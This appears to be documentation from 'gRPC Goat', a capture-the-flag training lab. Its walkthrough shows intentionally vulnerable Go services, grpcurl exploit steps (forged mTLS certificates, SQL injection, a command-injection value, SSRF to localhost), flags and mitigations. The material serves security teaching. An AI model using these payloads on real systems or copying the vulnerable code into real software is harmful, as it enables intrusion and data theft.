003**: Billing Service - TLS implementation vulnerabilities 47 | - **Lab 006**: Admin Service - Unix socket permission issues 48 | 49 | ### Injection Attacks 50 | - **Lab 007**: User Directory - SQL injection in gRPC services 51 | - **Lab 008**: File Processor - Command injection vulnerabilities 52 | - **Lab 009**: Image Preview - Server-Side Request Forgery (SSRF) 53 | 54 | 57 | 58 | ## Learning Path 59 | 60 | ### For Beginners 61 | Start with these foundational labs to understand basic gRPC security concepts: 62 | 1. **Lab 001** - gRPC Reflection (easiest to understand and exploit) 63 | 2. **Lab 002** - Plaintext Communications (demonstrates basic transport security) 64 | 3. **Lab 007** - SQL Injection (familiar vulnerability in gRPC context) 65 | 66 | ### For Intermediate Users 67 | Explore authentication and transport security issues: 68 | 1. **Lab 003** - Insecure TLS Implementation 69 | 2. **Lab 004** - mTLS Misconfigurations 70 | 3. **Lab 006** - Unix Socket Permissions 71 | 72 | ### For Advanced Users 73 | Tackle complex vulnerabilities and advanced attack scenarios: 74 | 1. **Lab 005** - Advanced Certificate Validation Bypasses 75 | 2. **Lab 008** - Command Injection in gRPC Services 76 | 3. **Lab 009** - Server-Side Request Forgery (SSRF) 77 | 78 | ## Getting Started 79 | 80 | 1. **Choose a lab** from the table above based on your experience level 81 | 2. **Set up the environment** following the [installation guide](/docs/grpc_goat_docs/getting-started) 82 | 3. **Follow the lab instructions** to exploit the vulnerability 83 | 4. **Study the mitigation** techniques to secure your own gRPC services 84 | 5. **Practice with different tools** like Postman, grpcurl, or BloomRPC 85 | 86 | Ready to start? Head to [Getting Started](/docs/grpc_goat_docs/getting-started) to set up your lab environment! -------------------------------------------------------------------------------- /docs/walkthrough.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'Walkthrough' 3 | description: 'Step-by-step exploitation guide for all gRPC security vulnerabilities' 4 | order: 4 5 | --- 6 | 7 | import { Aside } from 'astro-pure/user' 8 | 9 | # gRPC Goat Walkthrough 10 | 11 | This guide provides step-by-step instructions for exploiting each vulnerability in gRPC Goat. Each lab demonstrates a real-world security issue and includes the commands needed to capture the flag. 12 | 13 | 16 | 17 | ![alt text](grpc_goat_comp.webp) 18 | 19 | ## Lab 001: gRPC Reflection Enabled 20 | 21 | **Vulnerability**: Service Discovery API exposes hidden admin methods through gRPC reflection. 22 | 23 | ### Vulnerable Code Snippet 24 | ```go 25 | // VULNERABILITY: Reflection enabled, exposing all service methods 26 | reflection.Register(s) 27 | 28 | func (s *serviceDiscoveryServer) AdminListAllServices(ctx context.Context, req *pb.AdminListAllServicesRequest) (*pb.AdminListAllServicesResponse, error) { 29 | // No authentication check - returns sensitive admin services 30 | return &pb.AdminListAllServicesResponse{ 31 | AdminServices: adminServices, 32 | Flag: "GRPC_GOAT{...}", 33 | }, nil 34 | } 35 | ``` 36 | 37 | ### What to Look For 38 | - gRPC reflection service enabled 39 | - Hidden admin endpoints not meant for public access 40 | - Sensitive methods discoverable through enumeration 41 | 42 |
43 | **Exploitation Steps** (Click to reveal) 44 | 45 | ```bash 46 | # Start the lab 47 | docker compose up grpc-001 --build 48 | 49 | # 1. Discover services via reflection 50 | grpcurl -plaintext localhost:8001 list 51 | 52 | # 2. Enumerate methods in the service 53 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery 54 | 55 | # 3. Call the hidden admin method 56 | grpcurl -plaintext -d '{"admin_token": "fake"}' \ 57 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices 58 | ``` 59 | 60 |
61 | 62 |
63 | **Flag** (Click to reveal) 64 | 65 | `GRPC_GOAT{reflection_exposes_hidden_admin_methods}` 66 | 67 |
68 | 69 | ### Mitigation 70 | ```go 71 | // DON'T: Enable reflection in production 72 | // reflection.Register(s) 73 | 74 | // DO: Disable reflection in production 75 | if os.Getenv("ENVIRONMENT") == "development" { 76 | reflection.Register(s) 77 | } 78 | 79 | // DO: Add authentication for admin methods 80 | if !isValidAdminToken(req.AdminToken) { 81 | return nil, status.Errorf(codes.Unauthenticated, "invalid admin token") 82 | } 83 | ``` 84 | 85 | --- 86 | 87 | ## Lab 002: Plaintext gRPC 88 | 89 | **Vulnerability**: Auth Service sends credentials over unencrypted gRPC connections. 90 | 91 | ### Vulnerable Code Snippet 92 | ```go 93 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) { 94 | // VULNERABILITY: Credentials logged in plaintext 95 | log.Printf("Login attempt - Username: %s, Password: %s", req.Username, req.Password) 96 | 97 | return &pb.LoginResponse{ 98 | SessionToken: "session_" + req.Username + "_12345", // Predictable token 99 | Flag: "GRPC_GOAT{...}", 100 | }, nil 101 | } 102 | 103 | // VULNERABILITY: Server runs without TLS 104 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 105 | ``` 106 | 107 | ### Lab Objective 108 | To solve this lab, you simply connect to the plaintext gRPC service and call the authentication method with valid credentials. However, examining the service reveals additional security concerns: 109 | 110 | **Immediate Issue (Lab Focus)**: 111 | - Service accepts plaintext connections without requiring TLS 112 | - Credentials are logged in server logs 113 | 114 | **Broader Security Implications**: 115 | - **Network Traffic Exposure**: In a real environment, credentials would be visible to anyone monitoring network traffic 116 | - **Man-in-the-Middle Attacks**: Attackers could intercept and modify communications 117 | - **Credential Harvesting**: Network-level attackers could collect authentication data 118 | 119 | ### What to Look For 120 | - No TLS encryption on gRPC connections 121 | - Credentials transmitted in plaintext 122 | - Network traffic interception opportunities 123 | 124 |
125 | **Exploitation Steps** (Click to reveal) 126 | 127 | ```bash 128 | # Start the lab 129 | docker compose up grpc-002 --build 130 | 131 | # 1. Attempt login (credentials visible in network traffic) 132 | grpcurl -plaintext -d '{"username": "admin", "password": "admin123"}' \ 133 | localhost:8002 auth.AuthService/Login 134 | 135 | # 2. Try other credentials 136 | grpcurl -plaintext -d '{"username": "user", "password": "password123"}' \ 137 | localhost:8002 auth.AuthService/Login 138 | ``` 139 | 140 |
141 | 142 |
143 | **Flag** (Click to reveal) 144 | 145 | `GRPC_GOAT{plaintext_credentials_intercepted}` 146 | 147 |
148 | 149 | ### Mitigation 150 | ```go 151 | // Use TLS for all gRPC connections 152 | creds := credentials.NewTLS(&tls.Config{ 153 | Certificates: []tls.Certificate{cert}, 154 | }) 155 | s := grpc.NewServer(grpc.Creds(creds)) 156 | 157 | // Implement secure authentication 158 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) { 159 | // Don't log sensitive data 160 | if !verifyPassword(req.Username, req.Password) { 161 | return nil, status.Errorf(codes.Unauthenticated, "invalid credentials") 162 | } 163 | 164 | token, err := generateSecureToken() 165 | return &pb.LoginResponse{SessionToken: token}, nil 166 | } 167 | ``` 168 | 169 | --- 170 | 171 | ## Lab 003: Insecure TLS 172 | 173 | **Vulnerability**: Billing Service uses self-signed certificates that can't be properly verified. 174 | 175 | ### Vulnerable Code Snippet 176 | ```go 177 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) { 178 | // VULNERABILITY: Sensitive payment data logged 179 | log.Printf("Payment processing - Card: %s, CVV: %s", req.CardNumber, req.Cvv) 180 | 181 | return &pb.PaymentResponse{ 182 | Flag: "GRPC_GOAT{...}", 183 | }, nil 184 | } 185 | 186 | // VULNERABILITY: Self-signed certificate with weak TLS config 187 | tlsConfig := &tls.Config{ 188 | Certificates: []tls.Certificate{selfSignedCert}, // Self-signed! 189 | } 190 | ``` 191 | 192 | ### Lab Objective 193 | To solve this lab, you bypass certificate validation using the `-insecure` flag to connect to a service with a self-signed certificate. However, this reveals deeper security issues: 194 | 195 | **Immediate Issue (Lab Focus)**: 196 | - Service uses self-signed certificates that clients must bypass 197 | - Sensitive payment data is logged in plaintext 198 | 199 | **Broader Security Implications**: 200 | - **Trust Establishment**: Clients cannot verify server identity, enabling impersonation attacks 201 | 202 | ### What to Look For 203 | - Self-signed TLS certificates 204 | - Certificate validation bypasses required 205 | - Man-in-the-middle attack opportunities 206 | 207 |
208 | **Exploitation Steps** (Click to reveal) 209 | 210 | ```bash 211 | # Start the lab 212 | docker compose up grpc-003 --build 213 | 214 | # 1. Connect with insecure TLS (ignore certificate errors) 215 | grpcurl -insecure -d '{ 216 | "customer_id": "CUST001", 217 | "card_number": "4111111111111111", 218 | "expiry_date": "12/25", 219 | "cvv": "123", 220 | "amount": 99.99, 221 | "currency": "USD" 222 | }' localhost:8003 billing.BillingService/ProcessPayment 223 | ``` 224 | 225 |
226 | 227 |
228 | **Flag** (Click to reveal) 229 | 230 | `GRPC_GOAT{insecure_tls_allows_mitm_attacks}` 231 | 232 |
233 | 234 | ### Mitigation 235 | ```go 236 | // Use proper CA-signed certificates 237 | cert, err := tls.LoadX509KeyPair("server.crt", "server.key") 238 | 239 | // Configure secure TLS 240 | tlsConfig := &tls.Config{ 241 | Certificates: []tls.Certificate{cert}, 242 | MinVersion: tls.VersionTLS12, 243 | } 244 | 245 | // Don't log sensitive data 246 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) { 247 | log.Printf("Processing payment for customer: %s", req.CustomerId) // Safe logging 248 | // Process payment securely... 249 | } 250 | ``` 251 | 252 | --- 253 | 254 | ## Lab 004: Arbitrary mTLS 255 | 256 | **Vulnerability**: Partner API accepts any client certificate, allowing impersonation. 257 | 258 | ### Vulnerable Code Snippet 259 | ```go 260 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 261 | // VULNERABILITY: Returns sensitive data without proper certificate validation 262 | partners := []*pb.PartnerInfo{ 263 | {ApiKey: "tc_live_sk_1234567890abcdef", Secret: "tc_secret_xyz789"}, 264 | } 265 | return &pb.PartnerDataResponse{Partners: partners, Flag: "GRPC_GOAT{...}"}, nil 266 | } 267 | 268 | // VULNERABILITY: mTLS accepts ANY client certificate 269 | tlsConfig := &tls.Config{ 270 | ClientAuth: tls.RequireAnyClientCert, // Accepts any certificate! 271 | } 272 | ``` 273 | 274 | ### Lab Objective 275 | To solve this lab, you generate a self-signed client certificate and use it to access partner data. This demonstrates how improper mTLS configuration can be exploited: 276 | 277 | **Immediate Issue (Lab Focus)**: 278 | - mTLS configuration accepts any client certificate without validation 279 | - No verification against a trusted Certificate Authority 280 | 281 | **Broader Security Implications**: 282 | - **Partner Impersonation**: Any attacker can create certificates and pose as legitimate partners 283 | - **Data Breach**: Sensitive partner API keys and secrets are exposed to unauthorized clients 284 | - **Trust Model Failure**: The entire purpose of mTLS (mutual authentication) is defeated 285 | 286 | ### What to Look For 287 | - mTLS configuration that accepts any certificate 288 | - No certificate authority validation 289 | - Partner impersonation possibilities 290 | 291 |
292 | **Exploitation Steps** (Click to reveal) 293 | 294 | ```bash 295 | # Start the lab 296 | docker compose up grpc-004 --build 297 | 298 | # 1. Generate fake client certificate 299 | openssl genrsa -out client.key 2048 300 | openssl req -new -key client.key -out client.csr -subj "/CN=FakePartner/O=AttackerCorp" 301 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365 302 | 303 | # 2. Use fake certificate to access partner data 304 | grpcurl -insecure -cert client.crt -key client.key -d '{ 305 | "partner_id": "FAKE_PARTNER", 306 | "data_type": "all" 307 | }' localhost:8004 partner.PartnerAPI/GetPartnerData 308 | ``` 309 | 310 |
311 | 312 |
313 | **Flag** (Click to reveal) 314 | 315 | `GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}` 316 | 317 |
318 | 319 | ### Mitigation 320 | ```go 321 | // Use proper CA validation for mTLS 322 | caCertPool := x509.NewCertPool() 323 | caCertPool.AppendCertsFromPEM(caCert) 324 | 325 | tlsConfig := &tls.Config{ 326 | ClientAuth: tls.RequireAndVerifyClientCert, 327 | ClientCAs: caCertPool, // Verify against trusted CA 328 | } 329 | 330 | // Validate client certificate in handler 331 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 332 | if !isValidPartnerCertificate(tlsInfo.State.PeerCertificates[0]) { 333 | return nil, status.Errorf(codes.PermissionDenied, "invalid partner certificate") 334 | } 335 | // Return data only after validation... 336 | } 337 | ``` 338 | 339 | --- 340 | 341 | ## Lab 005: mTLS Subject Validation 342 | 343 | **Vulnerability**: Partner API validates subject name but accepts self-signed certificates. 344 | 345 | ### Vulnerable Code Snippet 346 | ```go 347 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 348 | cert := tlsInfo.State.PeerCertificates[0] 349 | expectedSubject := "goatpartner.local" 350 | 351 | // VULNERABILITY: Only checking subject CN, not validating against trusted CA 352 | if cert.Subject.CommonName != expectedSubject { 353 | return &pb.PartnerDataResponse{Success: false}, nil 354 | } 355 | 356 | // Returns sensitive data if subject matches (even with self-signed cert) 357 | return &pb.PartnerDataResponse{Partners: partners, Flag: "GRPC_GOAT{...}"}, nil 358 | } 359 | 360 | // VULNERABILITY: Still accepts any client certificate 361 | tlsConfig := &tls.Config{ 362 | ClientAuth: tls.RequireAnyClientCert, // No CA validation! 363 | } 364 | ``` 365 | 366 | ### Lab Objective 367 | To solve this lab, you create a self-signed certificate with the correct subject name (`goatpartner.local`) to bypass the subject validation. This demonstrates a common mTLS misconfiguration: 368 | 369 | **Immediate Issue (Lab Focus)**: 370 | - Service validates certificate subject but not the certificate authority 371 | - Self-signed certificates with correct subjects are accepted 372 | 373 | **Broader Security Implications**: 374 | - **Partner Impersonation**: Attackers can create certificates with legitimate subjects and pose as trusted partners 375 | - **Data Breach**: Sensitive partner data is exposed to unauthorized clients with forged certificates 376 | - **Trust Model Failure**: Subject validation alone is insufficient without proper CA verification 377 | 378 | ### What to Look For 379 | - Subject name validation in mTLS 380 | - Acceptance of self-signed certificates 381 | - Certificate impersonation with correct subject 382 | 383 |
384 | **Exploitation Steps** (Click to reveal) 385 | 386 | ```bash 387 | # Start the lab 388 | docker compose up grpc-005 --build 389 | 390 | # 1. Generate certificate with required subject name 391 | openssl genrsa -out client.key 2048 392 | openssl req -new -key client.key -out client.csr -subj "/CN=goatpartner.local/O=AttackerCorp" 393 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365 394 | 395 | # 2. Access partner data with correct subject 396 | grpcurl -insecure -cert client.crt -key client.key -d '{ 397 | "partner_id": "GOAT_PARTNER", 398 | "data_type": "all" 399 | }' localhost:8005 partner.PartnerAPI/GetPartnerData 400 | ``` 401 | 402 |
403 | 404 |
405 | **Flag** (Click to reveal) 406 | 407 | `GRPC_GOAT{subject_validation_insufficient_for_mtls}` 408 | 409 |
410 | 411 | ### Mitigation 412 | ```go 413 | // Validate both subject AND certificate authority 414 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 415 | cert := tlsInfo.State.PeerCertificates[0] 416 | 417 | // First validate certificate chain against trusted CA 418 | opts := x509.VerifyOptions{Roots: trustedCAPool} 419 | if _, err := cert.Verify(opts); err != nil { 420 | return nil, status.Errorf(codes.Unauthenticated, "certificate verification failed") 421 | } 422 | 423 | // Then check subject name 424 | if cert.Subject.CommonName != "goatpartner.local" { 425 | return nil, status.Errorf(codes.PermissionDenied, "invalid certificate subject") 426 | } 427 | // Return data only after full validation 428 | } 429 | 430 | // Use proper CA validation in TLS config 431 | tlsConfig := &tls.Config{ 432 | ClientAuth: tls.RequireAndVerifyClientCert, 433 | ClientCAs: trustedCAPool, 434 | } 435 | ``` 436 | 437 | --- 438 | 439 | ## Lab 006: Unix Socket World Writable 440 | 441 | **Vulnerability**: Admin service uses Unix socket with world read/write permissions. 442 | 443 | ### Vulnerable Code Snippet 444 | ```go 445 | func main() { 446 | socketPath := "/tmp/grpc-admin.sock" 447 | lis, err := net.Listen("unix", socketPath) 448 | 449 | // VULNERABILITY: Set world read/write permissions 450 | err = os.Chmod(socketPath, 0666) // rw-rw-rw- (world writable!) 451 | } 452 | 453 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) { 454 | // VULNERABILITY: No authentication check for admin commands 455 | staticOutput := "GRPC_GOAT{...}\nroot\nuid=0(root) gid=0(root)" 456 | return &pb.CommandResponse{Success: true, Output: staticOutput}, nil 457 | } 458 | ``` 459 | 460 | ### What to Look For 461 | - Unix domain sockets with improper permissions 462 | - Privilege escalation opportunities 463 | - Access to admin functions by any user 464 | 465 |
466 | **Exploitation Steps** (Click to reveal) 467 | 468 | ```bash 469 | # Start the lab 470 | docker compose up grpc-006 --build 471 | docker exec -it grpc-goat-006 sh 472 | 473 | # 1. Check socket permissions 474 | ls -la /tmp/grpc-admin.sock 475 | 476 | # 2. Install grpcurl in container 477 | apk add --no-cache go 478 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 479 | 480 | # 3. Connect via Unix socket 481 | grpcurl -plaintext -unix /tmp/grpc-admin.sock admin.AdminService/GetSystemInfo 482 | 483 | # 4. Execute admin commands 484 | grpcurl -plaintext -unix /tmp/grpc-admin.sock -d '{ 485 | "command": "whoami" 486 | }' admin.AdminService/ExecuteCommand 487 | ``` 488 | 489 |
490 | 491 |
492 | **Flag** (Click to reveal) 493 | 494 | `GRPC_GOAT{unix_socket_world_writable_privilege_escalation}` 495 | 496 |
497 | 498 | ### Mitigation 499 | ```go 500 | func main() { 501 | socketPath := "/tmp/grpc-admin.sock" 502 | lis, err := net.Listen("unix", socketPath) 503 | 504 | // Set restrictive permissions (owner only) 505 | err = os.Chmod(socketPath, 0600) // rw------- (owner only) 506 | 507 | // Change ownership to specific user/group 508 | if err := os.Chown(socketPath, adminUID, adminGID); err != nil { 509 | log.Fatalf("Failed to set socket ownership: %v", err) 510 | } 511 | } 512 | 513 | // Implement proper authentication 514 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) { 515 | // Validate admin privileges 516 | if !isAuthorizedAdmin(ctx) { 517 | return nil, status.Errorf(codes.PermissionDenied, "admin privileges required") 518 | } 519 | 520 | // Validate and sanitize commands 521 | if !isAllowedCommand(req.Command) { 522 | return nil, status.Errorf(codes.InvalidArgument, "command not allowed") 523 | } 524 | // Execute securely... 525 | } 526 | ``` 527 | 528 | --- 529 | 530 | ## Lab 007: SQL Injection 531 | 532 | **Vulnerability**: User Directory service has SQL injection in username search. 533 | 534 | ### Vulnerable Code Snippet 535 | ```go 536 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) { 537 | // VULNERABILITY: SQL injection - directly concatenating user input 538 | query := fmt.Sprintf("SELECT username, email, role FROM users WHERE username = '%s'", req.Username) 539 | 540 | rows, err := s.db.Query(query) // Vulnerable to SQL injection! 541 | 542 | // Check if we found the flag user 543 | if user.Username == "flag_user" || strings.Contains(user.Role, "GRPC_GOAT") { 544 | flag = "GRPC_GOAT{...}" 545 | } 546 | 547 | return &pb.SearchUsersResponse{Users: users, Flag: flag}, nil 548 | } 549 | ``` 550 | 551 | ### What to Look For 552 | - Unsanitized database queries 553 | - SQL injection in gRPC parameters 554 | - Data exfiltration opportunities 555 | 556 |
557 | **Exploitation Steps** (Click to reveal) 558 | 559 | ```bash 560 | # Start the lab 561 | docker compose up grpc-007 --build 562 | 563 | # 1. Normal search 564 | grpcurl -plaintext -d '{ 565 | "username": "john" 566 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers 567 | 568 | # 2. SQL injection to get all users 569 | grpcurl -plaintext -d '{ 570 | "username": "admin'\'' UNION SELECT username, email, role FROM users WHERE role='\''admin'\'' --" 571 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers 572 | ``` 573 | 574 |
575 | 576 |
577 | **Flag** (Click to reveal) 578 | 579 | `GRPC_GOAT{sql_injection_data_exfiltration}` 580 | 581 |
582 | 583 | ### Mitigation 584 | ```go 585 | // Use parameterized queries to prevent SQL injection 586 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) { 587 | // Validate input 588 | if req.Username == "" { 589 | return nil, status.Errorf(codes.InvalidArgument, "username cannot be empty") 590 | } 591 | 592 | // Use parameterized query 593 | query := "SELECT username, email, role FROM users WHERE username = ?" 594 | rows, err := s.db.Query(query, req.Username) // Safe parameterized query 595 | 596 | // Process results safely... 597 | return &pb.SearchUsersResponse{Success: true, Users: users}, nil 598 | } 599 | 600 | // Use an ORM for additional safety 601 | result := s.db.Where("username = ?", req.Username).Find(&users) 602 | ``` 603 | 604 | --- 605 | 606 | ## Lab 008: Command Injection 607 | 608 | **Vulnerability**: File Processor service has command injection in directory listing. 609 | 610 | ### Vulnerable Code Snippet 611 | ```go 612 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) { 613 | // VULNERABILITY: Command injection - directly using user input 614 | command := fmt.Sprintf("ls -la %s", req.Directory) 615 | 616 | // Vulnerable: User input directly passed to shell 617 | output, err := exec.Command("sh", "-c", command).Output() 618 | 619 | // Check if flag was read through command injection 620 | if strings.Contains(outputStr, "GRPC_GOAT{command_injection_file_listing}") { 621 | flag = "GRPC_GOAT{...}" 622 | } 623 | 624 | return &pb.ListFilesResponse{Success: true, Output: outputStr, Flag: flag}, nil 625 | } 626 | ``` 627 | 628 | ### What to Look For 629 | - Unsanitized command execution 630 | - Shell injection opportunities 631 | - System command execution 632 | 633 |
634 | **Exploitation Steps** (Click to reveal) 635 | 636 | ```bash 637 | # Start the lab 638 | docker compose up grpc-008 --build 639 | 640 | # 1. Normal directory listing 641 | grpcurl -plaintext -d '{ 642 | "directory": "/tmp" 643 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 644 | 645 | # 2. Command injection to read flag 646 | grpcurl -plaintext -d '{ 647 | "directory": "/tmp; cat /tmp/flag.txt" 648 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 649 | ``` 650 | 651 |
652 | 653 |
654 | **Flag** (Click to reveal) 655 | 656 | `GRPC_GOAT{command_injection_file_listing}` 657 | 658 |
659 | 660 | ### Mitigation 661 | ```go 662 | // Validate and sanitize input, avoid shell execution 663 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) { 664 | // Validate directory path 665 | if !isValidPath(req.Directory) { 666 | return nil, status.Errorf(codes.InvalidArgument, "invalid directory path") 667 | } 668 | 669 | // Use filepath.Clean to prevent path traversal 670 | cleanPath := filepath.Clean(req.Directory) 671 | 672 | // Validate against allowed directories 673 | if !isAllowedDirectory(cleanPath) { 674 | return nil, status.Errorf(codes.PermissionDenied, "directory access not allowed") 675 | } 676 | 677 | // Use Go's built-in functions instead of shell commands 678 | files, err := ioutil.ReadDir(cleanPath) 679 | if err != nil { 680 | return nil, status.Errorf(codes.NotFound, "failed to read directory") 681 | } 682 | // Process files safely... 683 | } 684 | 685 | func isValidPath(path string) bool { 686 | matched, _ := regexp.MatchString(`^[a-zA-Z0-9/_.-]+$`, path) 687 | return matched 688 | } 689 | ``` 690 | 691 | --- 692 | 693 | ## Lab 009: Server-Side Request Forgery (SSRF) 694 | 695 | **Vulnerability**: Image Preview service fetches URLs without validation. 696 | 697 | ### Vulnerable Code Snippet 698 | ```go 699 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) { 700 | // VULNERABILITY: SSRF - directly fetching user-provided URLs without validation 701 | client := &http.Client{Timeout: 10 * time.Second} 702 | 703 | // No URL validation - can access internal services! 704 | resp, err := client.Get(req.Url) 705 | 706 | body, err := io.ReadAll(resp.Body) 707 | return &pb.FetchImageResponse{ 708 | Success: true, 709 | Content: string(body), // Returns internal service responses 710 | }, nil 711 | } 712 | 713 | // Internal flag server accessible via SSRF 714 | func startFlagServer() { 715 | http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) { 716 | fmt.Fprint(w, "GRPC_GOAT{...}") // Flag accessible via SSRF 717 | }) 718 | go http.ListenAndServe("127.0.0.1:8080", nil) 719 | } 720 | ``` 721 | 722 | ### What to Look For 723 | - Server-side URL fetching 724 | - No URL validation or filtering 725 | - Internal service access opportunities 726 | 727 |
728 | **Exploitation Steps** (Click to reveal) 729 | 730 | ```bash 731 | # Start the lab 732 | docker compose up grpc-009 --build 733 | 734 | # 1. Normal external URL fetch 735 | grpcurl -plaintext -d '{ 736 | "url": "https://httpbin.org/get" 737 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 738 | 739 | # 2. SSRF to access internal flag server 740 | grpcurl -plaintext -d '{ 741 | "url": "http://localhost:8080/flag" 742 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 743 | ``` 744 | 745 |
746 | 747 |
748 | **Flag** (Click to reveal) 749 | 750 | `GRPC_GOAT{ssrf_internal_service_access}` 751 | 752 |
753 | 754 | ### Mitigation 755 | ```go 756 | // Implement URL validation and filtering 757 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) { 758 | // Validate URL format 759 | parsedURL, err := url.Parse(req.Url) 760 | if err != nil { 761 | return nil, status.Errorf(codes.InvalidArgument, "invalid URL format") 762 | } 763 | 764 | // Only allow HTTP/HTTPS schemes 765 | if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" { 766 | return nil, status.Errorf(codes.InvalidArgument, "only HTTP/HTTPS URLs allowed") 767 | } 768 | 769 | // Block internal/private IP ranges 770 | if isInternalIP(parsedURL.Hostname()) { 771 | return nil, status.Errorf(codes.PermissionDenied, "access to internal IPs not allowed") 772 | } 773 | 774 | // Use allowlist of permitted domains 775 | if !isAllowedDomain(parsedURL.Hostname()) { 776 | return nil, status.Errorf(codes.PermissionDenied, "domain not in allowlist") 777 | } 778 | // Configure secure HTTP client... 779 | } 780 | 781 | func isInternalIP(hostname string) bool { 782 | ip := net.ParseIP(hostname) 783 | return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() 784 | } 785 | ``` 786 | 787 | --- 788 | 789 | ## Security Lessons Learned 790 | 791 | ### Understanding Lab vs. Real-World Vulnerabilities 792 | 793 | **Important Note**: The labs focus on demonstrating specific gRPC vulnerabilities through direct exploitation techniques. However, many of the underlying security issues have broader implications in real-world scenarios: 794 | 795 | - **Lab Approach**: Direct connection and exploitation to demonstrate the core vulnerability 796 | - **Real-World Impact**: These same vulnerabilities enable more sophisticated attacks like network interception, MITM attacks, and other advanced techniques 797 | 798 | For example, while Lab 002 shows direct plaintext connection, the real security risk is that credentials would be visible to network monitoring tools, packet sniffers, or man-in-the-middle attackers in production environments. 799 | 800 | ### Key Takeaways 801 | 802 | 1. **Disable gRPC Reflection** in production environments to prevent service discovery 803 | 2. **Always use TLS** for gRPC communications to protect data in transit 804 | 3. **Implement proper certificate validation** for mTLS with trusted CAs 805 | 4. **Set correct file permissions** for Unix sockets (600 or 660, not 666) 806 | 5. **Sanitize all user inputs** to prevent injection attacks (SQL, command, etc.) 807 | 6. **Validate and filter URLs** in server-side requests to prevent SSRF 808 | 7. **Use proper authentication** and authorization for all sensitive operations 809 | 8. **Implement comprehensive logging** and monitoring for security events 810 | 811 | ### Best Practices Summary 812 | 813 | | Vulnerability Type | Key Mitigation | 814 | |-------------------|----------------| 815 | | **gRPC Reflection** | Disable in production, use authentication for admin methods | 816 | | **Plaintext gRPC** | Always use TLS, implement secure authentication | 817 | | **Insecure TLS** | Use CA-signed certificates, proper TLS configuration | 818 | | **Arbitrary mTLS** | Validate certificates against trusted CAs | 819 | | **Subject Validation** | Combine subject validation with CA verification | 820 | | **Unix Socket Permissions** | Use restrictive permissions (600), proper ownership | 821 | | **SQL Injection** | Use parameterized queries, input validation | 822 | | **Command Injection** | Avoid shell execution, shell escaping, validate/sanitize inputs | 823 | | **SSRF** | URL validation, IP filtering, domain allowlists | 824 | 825 | 828 | 829 | ## Next Steps 830 | 831 | Congratulations on completing the gRPC Goat labs! To continue your gRPC security journey: 832 | 833 | 1. **Practice Defense**: Try to fix each vulnerability in the lab code using the provided mitigations 834 | 2. **Learn More**: Study gRPC security best practices and official security guidelines 835 | 3. **Apply Knowledge**: Audit your own gRPC services for similar security issues 836 | 4. **Share**: Help others learn by contributing to the project or sharing your experience 837 | 5. **Advanced Practice**: Set up your own vulnerable gRPC services to practice with 838 | 839 | ### Additional Resources 840 | 841 | - [gRPC Security Guide](https://grpc.io/docs/guides/security/) 842 | - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) 843 | - [gRPC Authentication Documentation](https://grpc.io/docs/guides/auth/) 844 | 845 | Ready to secure your gRPC applications? Apply these lessons to your real-world projects! 846 | -------------------------------------------------------------------------------- /grpc_goat_comp.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootxjs/grpc-goat/4aefc57e9df44d75fb92c0f8a2537b54213c51b7/grpc_goat_comp.webp -------------------------------------------------------------------------------- /labs/grpc-001-reflection-enabled/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/service_discovery.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 